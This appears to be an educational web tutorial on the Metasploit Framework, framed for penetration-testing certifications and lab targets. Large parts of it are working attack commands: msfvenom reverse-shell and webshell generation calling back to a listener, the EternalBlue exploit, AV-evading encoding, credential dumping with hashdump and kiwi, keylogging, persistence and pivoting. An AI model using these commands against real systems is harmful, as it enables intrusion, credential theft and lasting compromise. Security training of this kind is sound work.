🚀 Metasploit Framework

What is the Metasploit Framework?

The Metasploit Framework (MSF) is an open-source exploitation and post-exploitation platform maintained by Rapid7. It bundles thousands of exploits, payloads, encoders, scanners and post modules behind one consistent interface, so an operator can move from discovery to shell to post-exploitation without rebuilding tooling for every engagement.

A short history

• 2003 — HD Moore releases Metasploit v1 in Perl (11 exploits).
• 2007 — Full rewrite in Ruby as v3.
• 2009 — Acquired by Rapid7; commercial Pro / Community editions appear.
• 2011 — msfconsole gains the PostgreSQL-backed database.
• 2019 → today — Metasploit v6/v6.4 ships end-to-end SMB3 encryption, native pipes for Meterpreter, HTTP/2 handlers, and hundreds of new modules each year.

Real-world use cases

• Internal / external penetration testing.
• Red team foothold, pivoting and post-exploitation.
• Purple team detection engineering (payload sample generation, C2 traffic).
• Vulnerability validation (turning a Nessus/OpenVAS finding into proof).
• Security training labs (CEH, eJPT, PNPT, CPTS, OSCP).

Advantages and limitations

Legal and ethical usage

Even in a lab, treat Metasploit like a loaded weapon: know your target scope, avoid destructive modules on shared infrastructure, keep engagement notes, and never leave payloads / listeners exposed to the internet. Unauthorised use is a crime in every jurisdiction that matters for a security career.

Installing Metasploit

Metasploit ships pre-installed on Kali Linux and Parrot OS. On everything else, use the Rapid7 nightly installer or your package manager.

Kali / Parrot

sudo apt update && sudo apt install metasploit-framework -y
sudo msfdb init          # initialise the PostgreSQL database
msfconsole -q            # -q = quiet banner

Ubuntu / Debian

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall && sudo ./msfinstall
sudo msfdb init

Windows

Download the signed installer from https://www.metasploit.com/download. Run as Administrator; the installer bundles Ruby, PostgreSQL and Nmap. Add exclusions in Windows Defender for the install folder or it will quarantine payloads on write.

Updating & verifying

sudo apt update && sudo apt upgrade metasploit-framework -y   # Kali
msfupdate                                                     # nightly builds
msfconsole --version

Database sanity checks

Inside msfconsole:

msf6 > db_status
[*] Connected to msf. Connection type: postgresql.

msf6 > workspace -a client01
[*] Added workspace: client01

If you see [-] Database not connected, exit and run sudo msfdb reinit (or msfdb run). No database = no hosts, no services, no loot, no creds, no db_nmap — you lose half the framework.

Framework Architecture

Metasploit is written in Ruby and organised in layers.

Key components

• Framework — the engine loading everything at boot.
• Modules — self-contained Ruby files under /usr/share/metasploit-framework/modules/.
• Payloads — code that runs on the target (Meterpreter, shells, execs).
• Encoders — obfuscate payload bytes to defeat basic signatures.
• NOPs — CPU no-op sleds for buffer overflows.
• Auxiliary — scanners, fuzzers, brute-forcers (no shell).
• Exploit — turns a vulnerability into code execution.
• Post — runs after you have a session (recon, priv-esc, pivot).
• Evasion — generates AV-evading executables.
• Plugins — extend msfconsole at runtime (load nessus, load wmap).
• Sessions — active shells / Meterpreter channels.
• Workspaces — logical groupings of hosts / services / loot per client.
• Loot / Creds / Notes / Vulns — DB tables written to during engagements.

msfconsole — the primary interface

msfconsole is the interactive REPL that most operators live in. Start it with:

msfconsole                     # full banner
msfconsole -q                  # quiet
msfconsole -r script.rc        # run a resource script
msfconsole -x "db_status; use exploit/windows/smb/ms17_010_eternalblue"

Anatomy of the prompt

msf6 exploit(windows/smb/ms17_010_eternalblue) >

• msf6 — framework version.
• exploit(...) — currently selected module.
• > — waiting for input; a session-interact prompt looks like meterpreter >.

Everyday quality-of-life

• Autocomplete — press Tab on any command, module path or option name.
• History — arrow keys walk your last commands; history -c clears them.
• Help — help on its own, or help <command> for details.
• Colour — color true|false; useful when logging to a file.
• Aliases — alias sn "search name:" speeds up common queries.
• Logging — spool /tmp/engagement.log writes everything to disk (spool off stops it).
• Global vs local options — setg RHOSTS 10.10.10.5 persists across every module you load; set only applies to the current one.

Essential msfconsole Commands

Each command below follows the same shape: purpose · syntax · example · output · pitfalls.

help

• Purpose: print all commands or details for one command.
• Syntax: help or help <command>
• Example: help search
• Pitfall: help inside a Meterpreter session shows Meterpreter commands, not framework ones.

search

• Purpose: find modules by keyword, CVE, author or platform.
• Syntax: search [filters] term
• Example:

msf6 > search cve:2017-0144 type:exploit platform:windows

• Filters: name:, path:, cve:, type:, platform:, author:, rank:, disclosure_date:.
• Pitfall: overly generic terms (search smb) return hundreds of modules — always combine with type: or platform:.

use

• Purpose: load a module into the current context.
• Syntax: use <module path or search index>
• Example: use exploit/windows/smb/ms17_010_eternalblue or use 0 after a search.
• Pitfall: typos silently return No results from search; always tab-complete.

show options / options

• Purpose: display the current module's datastore.
• Output columns: Name · Current Setting · Required · Description.
• Pitfall: RHOSTS (target) and LHOST (your listener) are the two most-forgotten values.

set / setg / unset / unsetg

• Purpose: modify options. setg persists globally, set only for the current module.
• Example:

msf6 exploit(...) > set RHOSTS 10.10.10.40
msf6 exploit(...) > setg LHOST tun0

• Pitfall: globals leak between modules — use unsetg before switching engagements.

run and exploit

• Purpose: launch the module. run is preferred for auxiliary/post; exploit is idiomatic for exploits (they are aliases).
• Flags:
  • -j — background the job.
  • -z — do not interact with the session once opened.
  • run -j -z — the classic listener pattern.

check

• Purpose: ask the module if the target looks vulnerable, without exploiting.
• Pitfall: many modules do not implement check; absence of a check is not a green light.

sessions

• Purpose: manage post-exploitation sessions.
• Common uses:
  • sessions — list.
  • sessions -i 1 — interact.
  • sessions -u 1 — upgrade a shell to Meterpreter.
  • sessions -K — kill all sessions.
  • sessions -C "sysinfo" -i 1 — run a command without full interaction.

background / back / exit

• background (or Ctrl-Z) inside Meterpreter — returns to msfconsole, keeps the session alive.
• back — leave the current module.
• exit / quit — leave msfconsole (exit -y skips the prompt).

Database commands

hosts, services, vulns, notes, loot, creds — all of these query the workspace DB and take filters like -c address,name or -S 'Windows'.

Utility

• jobs / jobs -K — background jobs / kill all.
• route add <net>/<mask> <session> — pivot traffic via a session.
• workspace [-a name | -d name | name] — manage engagements.
• version, banner, history, color, save, reload_all.

Module Types

Payloads Explained

Payloads are the code the exploit delivers. Choose one based on target OS, network path (bind vs reverse), and staging preference.

Singles vs stagers vs stages

• Single (stageless) — everything in one blob. Larger, but robust when the exploit only fires once. Example: windows/x64/meterpreter_reverse_tcp (note: no / between meterpreter and reverse_tcp).
• Stager — tiny piece of code that connects back and pulls a bigger stage over the wire. Example: windows/x64/meterpreter/reverse_tcp (with the /).
• Stage — the second-stage payload (Meterpreter DLL) sent by the stager.

Bind vs reverse

Common payload names

• windows/x64/meterpreter/reverse_tcp — reverse Meterpreter over TCP.
• windows/x64/meterpreter/reverse_https — HTTPS-tunnelled, blends with web traffic.
• windows/x64/shell_reverse_tcp — plain cmd.exe.
• linux/x64/meterpreter/reverse_tcp, linux/x86/shell_reverse_tcp.
• php/meterpreter/reverse_tcp — for LFI/RFI/webshell drops.
• java/meterpreter/reverse_tcp — cross-platform, needs JRE.
• python/meterpreter/reverse_tcp — script-only environments.
• cmd/unix/reverse_bash — one-liner bash reverse shell.

Generating payloads with msfvenom

# Windows reverse Meterpreter EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=10.10.14.2 LPORT=4444 \
  -f exe -o shell.exe

# Linux ELF
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.2 LPORT=443 -f elf -o s.elf

# PHP webshell
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f raw -o shell.php

# Encoded, iterated
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.2 LPORT=4444 \
  -e x86/shikata_ga_nai -i 5 -f exe -o s.exe

Then catch it with the multi/handler:

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.2
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run -j -z

Meterpreter

Meterpreter is Metasploit's flagship payload: a DLL / SO / script loaded entirely in memory that speaks an encrypted protocol back to the framework. It never touches disk on the target and exposes a rich API for post-exploitation.

Why Meterpreter

• In-memory, no forensics artefact from the payload itself.
• Extensible: load kiwi, load powershell, load python, load stdapi.
• Rich API — file system, processes, registry, sockets, kiwi (Mimikatz).
• Channelised comms — file transfers, port forwards, sub-shells over one session.

Essential commands

meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid
meterpreter > ps
meterpreter > migrate 4242
meterpreter > pwd
meterpreter > ls
meterpreter > cd C:\\Users\\alice\\Desktop
meterpreter > download flag.txt
meterpreter > upload beacon.exe C:\\Windows\\Temp\\
meterpreter > cat C:\\inetpub\\wwwroot\\web.config
meterpreter > shell           # drop to cmd.exe / /bin/sh
meterpreter > background      # keep alive, back to msfconsole

Privilege escalation

meterpreter > getsystem                  # tries 4 token/named-pipe techniques
meterpreter > run post/multi/recon/local_exploit_suggester

Credential harvesting

meterpreter > hashdump                   # local SAM
meterpreter > load kiwi
meterpreter > creds_all                  # Mimikatz-style dump
meterpreter > lsa_dump_sam

Tokens and impersonation

meterpreter > load incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"

Screenshots and keylogging (educational)

meterpreter > screenshot
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop

Pivoting from Meterpreter

meterpreter > run autoroute -s 10.0.20.0/24
meterpreter > portfwd add -l 3389 -p 3389 -r 10.0.20.15
meterpreter > background
msf6 > use auxiliary/server/socks_proxy

Persistence concepts

Metasploit ships exploit/windows/local/persistence_service, persistence_exe, registry_persistence. In real engagements these are loud and often flagged; understand them for the exam, but favour manual, minimal persistence for red-team ops.

Cleanup

• Remove uploaded files (rm, del).
• Kill scheduled tasks / services you created.
• Close sessions (sessions -K) and shut down handlers (jobs -K).
• Purge Meterpreter with exit (leaves no on-disk artefact when it was in-memory only).

The Metasploit Database

The DB glues recon and exploitation together. Nmap results, credentials, loot and notes are all queryable across the team.

msf6 > db_status
msf6 > workspace -a acme_internal
msf6 > db_nmap -sS -sV -O 10.10.10.0/24
msf6 > hosts
msf6 > services -p 445 -R                # -R sets RHOSTS from the query
msf6 > vulns
msf6 > creds
msf6 > loot
msf6 > notes -t smb.fingerprint

Useful filters: hosts -c address,os_name,purpose, services -s open -p 80,443, creds -t password.

Auxiliary Modules

Auxiliaries are the framework's Swiss army knife. No shell, but perfect for scanning, enumeration, brute forcing and protocol abuse.

msf6 > use auxiliary/scanner/smb/smb_login
msf6 > set RHOSTS 10.10.10.0/24
msf6 > set USER_FILE /usr/share/seclists/Usernames/top-usernames-shortlist.txt
msf6 > set PASS_FILE /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt
msf6 > set THREADS 20
msf6 > run

Post-Exploitation Workflow

Once you have a session, the first five minutes decide the engagement.

1. Stabilise — migrate off the exploited process; consider a second, redundant callback.
2. Enumerate — sysinfo, getuid, whoami /priv, ipconfig /all, route print, net user /domain.
3. Suggest privesc — run post/multi/recon/local_exploit_suggester.
4. Loot credentials — SAM, LSASS (via kiwi), browser stores, config files, sticky notes.
5. Discover the network — ARP, netstat -ano, arp -a, run auxiliary/scanner/portscan/tcp through the pivot.
6. Pivot — autoroute + SOCKS proxy for external tools.
7. Persist (only if scoped) — services, scheduled tasks, WMI subscriptions.
8. Document + cleanup — screenshots, log paths, kill sessions and handlers you created.

Pivoting

Pivoting is how you use one compromised host as a router into networks you cannot reach directly.

  [attacker] ---(tun0/HTB)--- [compromised jump host] ---(internal 10.0.20.0/24)--- [target DB]
                                        |
                                        +-- autoroute + socks_proxy

Autoroute (Metasploit-only traffic)

meterpreter > run autoroute -s 10.0.20.0/24
meterpreter > run autoroute -p            # print current routes

Now every module that speaks to 10.0.20.0/24 is tunnelled through this Meterpreter session.

SOCKS proxy (for every other tool)

meterpreter > background
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVPORT 1080
msf6 > run -j

# /etc/proxychains4.conf → socks5 127.0.0.1 1080
$ proxychains nmap -sT -Pn -p 3389 10.0.20.15
$ proxychains xfreerdp /v:10.0.20.15 /u:alice

Port forwarding

meterpreter > portfwd add -l 8080 -p 80 -r 10.0.20.15   # local:8080 -> remote:80
meterpreter > portfwd list
meterpreter > portfwd flush

Multi-hop

Layer autoroute + SOCKS across two sessions: session 1 gives you 10.0.20.0/24, session 2 (on a host inside that subnet) gives you 172.16.0.0/16. Metasploit routes packets through the shortest matching route.

Resource Scripts

Resource (.rc) scripts are plain files of msfconsole commands, batch-executed with -r or from inside the console via resource file.rc.

# handler.rc
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST tun0
set LPORT 443
set ExitOnSession false
run -j -z

msfconsole -q -r handler.rc

Best practices:

• Keep listeners in ~/rc/ per engagement.
• Prefix filenames with the engagement code (acme_handler.rc).
• Avoid destructive commands (sessions -K) in shared scripts.
• Combine with ERB (<%= ENV['LHOST'] %>) for parameterised playbooks.

Plugins

Plugins extend msfconsole at runtime. Load them with load <name>, list active ones with plugins, unload with unload.

• load nessus — drive Nessus scans and import findings.
• load openvas — same idea for OpenVAS/GVM.
• load wmap — very light web scanner built on aux modules.
• load sounds — audio feedback when sessions open (labs / demos).
• load auto_add_route — automatically adds a route when a session opens through a private network.
• load lab — manage VirtualBox/VMware lab targets.

Practical Labs

Do these against Metasploitable 2/3, TryHackMe Blue, or HTB Legacy/Blue. Never against production.

Lab 1 — Scan the target

msf6 > workspace -a lab
msf6 > db_nmap -sS -sV -p- 10.10.10.40
msf6 > services -p 445

Lab 2 — Search for a module

msf6 > search cve:2017-0144

Lab 3 — Configure the exploit

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > show options
msf6 > set RHOSTS 10.10.10.40

Lab 4 — Set a payload

msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST tun0
msf6 > set LPORT 4444

Lab 5 — Run the exploit

msf6 > check
msf6 > exploit

Lab 6 — Land the session

[*] Meterpreter session 1 opened (10.10.14.2:4444 -> 10.10.10.40:49312)
meterpreter > sysinfo
meterpreter > getuid

Lab 7 — Background the session

meterpreter > background
msf6 > sessions

Lab 8 — Post-exploitation

msf6 > sessions -i 1
meterpreter > run post/multi/recon/local_exploit_suggester
meterpreter > hashdump
meterpreter > load kiwi
meterpreter > creds_all

Lab 9 — Cleanup

meterpreter > rm C:\\Windows\\Temp\\beacon.exe
meterpreter > exit
msf6 > sessions -K
msf6 > jobs -K
msf6 > spool off

Repeat with exploit/unix/ftp/vsftpd_234_backdoor against Metasploitable 2 for a UNIX shell workflow.

OSCP / CPTS / PNPT Notes

Rule of thumb: if you cannot repeat a Metasploit workflow by hand — searchsploit, custom shellcode, nc listener, whoami /priv, reg query — you do not really understand it yet.

Troubleshooting

Cheat Sheet

Interactive msfconsole Simulator

Practise the syntax without touching a real target. Everything below runs entirely in your browser — no network, no exploitation, no modules are loaded. It's a teaching aid for the workflow: search → use → set → run → sessions -i.

• Try help, banner, search eternalblue, use 0, show options, set RHOSTS 10.10.10.40, set LHOST 10.10.14.2, run, sessions -i 1, then sysinfo inside Meterpreter.
• Use Tab for autocomplete, ↑ / ↓ for history, Ctrl-L (or Reset) to clear.

Key Takeaways

• Metasploit is exploits + payloads + post modules + a database, wired together by msfconsole.
• Use workspaces and db_nmap from day one — every module benefits from the shared context.
• Know the difference between staged and stageless, bind and reverse payloads.
• Meterpreter is the default post-exploitation payload — master migrate, getsystem, hashdump, load kiwi, portfwd, autoroute.
• Pivoting via autoroute + socks_proxy unlocks internal networks for both Metasploit and external tools.
• Automate with resource scripts; extend with plugins; verify with check before firing.
• For OSCP, learn the manual equivalent of every Metasploit action you rely on.